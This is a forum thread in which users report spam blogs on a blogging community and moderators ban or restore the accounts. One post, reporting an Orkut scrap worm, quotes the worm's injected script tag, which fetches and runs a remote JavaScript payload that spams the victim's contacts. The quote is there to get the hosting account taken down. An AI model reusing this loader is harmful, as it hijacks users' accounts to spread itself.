You mean the blog comment? That should really be reported in the comment spam thread.

You're right, sorry about that.

Maybe the thread title should be "Report spam blogs here", instead.

I am being spammed a lot by hqmusicvideo who added me as a so-called "friend" yesterday, it seems to be a blog which is just purloined music videos. Today I have received 28 identical messages from them about some kind of poll.

Good point, dantesoft. Title edited.

The owner of the virusdoorkut account is using it to host a malicious javascript that spams the srapbook of people in the social site Orkut. "virusdoorkut" means "orkut's virus" in Portuguese, it's not really a virus, just a malicious javascript that is embedded in every scrap, when the user opens his scrapbook the script is executed and a christmas message is automatically spammed to all your contacts.

The script in question is hosted at his account's file archive:
http://files.myopera.com/virusdoorkut/files/virus.js
It has been packed (and therefore obfuscated) so it's a little hard to know how it works.

The part that is embedded in the scraps is readable, this is the part that loads the script hosted here at MyOpera:

<script type="text/javascript"> var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '928560699', '1', '1', '9', '#FFFFFF', 'autohigh', '', '', '928560699'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv928560699');</script>

Orkut's staff have already taken care of the problem and deleted all of the spammed scraps, but the script is still hosted here at MyOpera, would be wise to terminate his account.

Thanks for the information. The user has been banned.

I suggest that ten postings of links to rapidshare (which is actually a pay site, though they do have some freebees) within a couple of hours qualifies as spam.

Please follow the instructions in the first post if you want to report spam.

You were banned for posting spam messages to the forum.

User is using his account to spam phpBB.com with the following offensive page:

http://files.myopera.com/anti-phpbb/files/index.html

Promising to hack phpBB.com

Looks like he has been banned.

got one i think is a blog spam
http://my.opera.com/liveonlinetv/blog
he added me as friend but when looking saw the ad for online television.

Looks like it to me. If she were reviewing different services I think we could accept that, but as she doesn't ... banned.

Can someone please check into the status of http://my.opera.com/thestatpharmacist/blog please? I can assure you that spam was not knowingly sent from this site by the user. Is it possible for a visitor to hack a site and send spam from it?

That account has been banned.

Is it possible to get an explanation for the banning of my.opera.com/thestatpharmacist/blog ??? Spam was NOT KNOWINGLY sent from this site and I find it very disturbing that accounts can be closed without ceremony like this. What can users do to ensure that their sites are not unexpectedly shut down? If the Links section was a problem then I will no longer post any links of any kind.

It seems that the account has been banned during an anti-spam sweep of the site. I cannot see anything spammy on closer inspection, so the account has been restored. Apologies for the inconvenience. At least we got rid of hundreds of real spam blogs too.

http://my.opera.com/Kriszti2/blog/

It's in hungarian, but it's basically an Avon agent posting about new products (including prices). Has catalogs even. And annoying background music and an animated GIF for a background, but those are not against the ToS, sadly...

Hey, I "know" Kristi, she's not a spammer AFAIK, looks like an honest distributor blog.

PS: Agree about the music I recommend http://www.indev.no/?p=projects#flashmute

The ToS says unauthorized advertisement is forbidden. Or maybe she's authorized?

I don't understand what "unauthorized advertisment" means here. If it's anything like "unauthorized messaging", it could mean that the ToS forbid unsolicited comments that advertize. Or you could be right, and MyOpera is only available for personal, non-business use.

I didn't read the terms in a long while, but I keep seeing on the front page "There are millions of ways to blog, and we like them all", taken to mean "you can share your interests". Or?

Well, there's a difference between discussing what you do and actually trying to advertise. I mean, putting your whole catalog in your blog wouid seem to violate the intent of the ToS, pretty clearly.

If you're intending to make money off of My Opera (and you're not some sort of partner where you're also beneftting Opera), then you're violating the ToS. Why should they be providing hosting services to you for free?

I'd say that she is violating the ToS, but on the other hand if you know her I'd say you should probably see if you can get her to clean it up instead of me banning her. (I presume that her English might not be good enough for me to explain, though you'd know better than I ...)

A NEW FUCK USER ACOUNT HAS BEEN CREATED HE IS SPAMING ME HIS USER NAME IS fuck head rulez

Like I said before, that belongs in "Report PM spam here" ...

Banned anyway, but use the right thread.

Please use the right thread, and follow the instructions in the first post. Link to the actual spam blog in this thread. When reporting PM spam (in the other thread), link to the spammer's about page.

hi

a lot of Executive Dating, user with one blogpost which leads always to a page with the same design
http://my.opera.com/community/blogs/index.dml?&abc=E&page=136&skip=4050&show=az&perscreen=30

Banned a few of them, but about 500 will take a while ...

They should be gone now, for the most part.

hi,

it could help to run a script

user with 1 blogpost -> not logged in for 6 month -> kill
too many dead blogs are not the state of art

if you look at http://my.opera.com/community/blogs/?show=az
many testblogs with 1 post like "sdfgsdfg"
mostly uninteresting for visitors and after including rel=nofollow
also uninteresting for blogspammers

it could also be helpfull to start a-z with the most aktive users
and starting "a" by clicking "a"

rfhurley, that user has been banned.

*email reported as spam as well.
My heterosexual self did chuckle though.

Wrong thread, that's PM spam, but gone anyway. Sounds like a sister of our last spammer - if you reply she sends you a 419 scam solicitation.

yo i need to report a spamer i found
i dont know if there just screwing around or what but hay to d*** bad for them DONT SPAM PEOPLE around me

legend_killer360 this is the a hole i found how is spaming

just give them a warning i dont need any more b.s. not after the sarah12 thing

o and there is a group for spamers some were i forget where but sarah12 was runing it

Do you mean he's a comment spammer? I don't see any spam in his blog - post a link to an example. (The number next to the username is a permalink to a comment, just right-click on it and Copy link address, then post it here.)

We are aware of the group, but just because it is named "The Spammers" doesn't mean they've done anything here (but we are watching them).

http://my.opera.com/sushibarbali/blog/

Not a spammer as such, but blog is basically one big ad for a restaurant which I believe is against rules.

Definitely. Gone ...

http://my.opera.com/elitetravel/blog/

Not even much of a website they link to, a large image of what a website should probably look like but all just one big link. Anyway, banned.

I'm not sure this is correct forum, but I want to report that a spammer is sending emails that include the following links:

http://files.myopera.com/Gipso/blog/demo.htm
http://files.myopera.com/Mureeegrobc9/blog/demo.htm
http://files.myopera.com/prilRubi/blog/3demo.htm
http://files.myopera.com/VughSvge/blog/demo.htm
http://files.myopera.com/prilRubi/blog/3demo.htm

The 5 messages all arrived this morning from a known spammer (usually Canadian Pharmacy spam). Spammer has used "Googlepages" before, but this is first time I've seen "My Opera" to host the Spamvertised URLs. I not sure that this is "Blog Spam" or what.

Have I alerted the correct people by posting here?
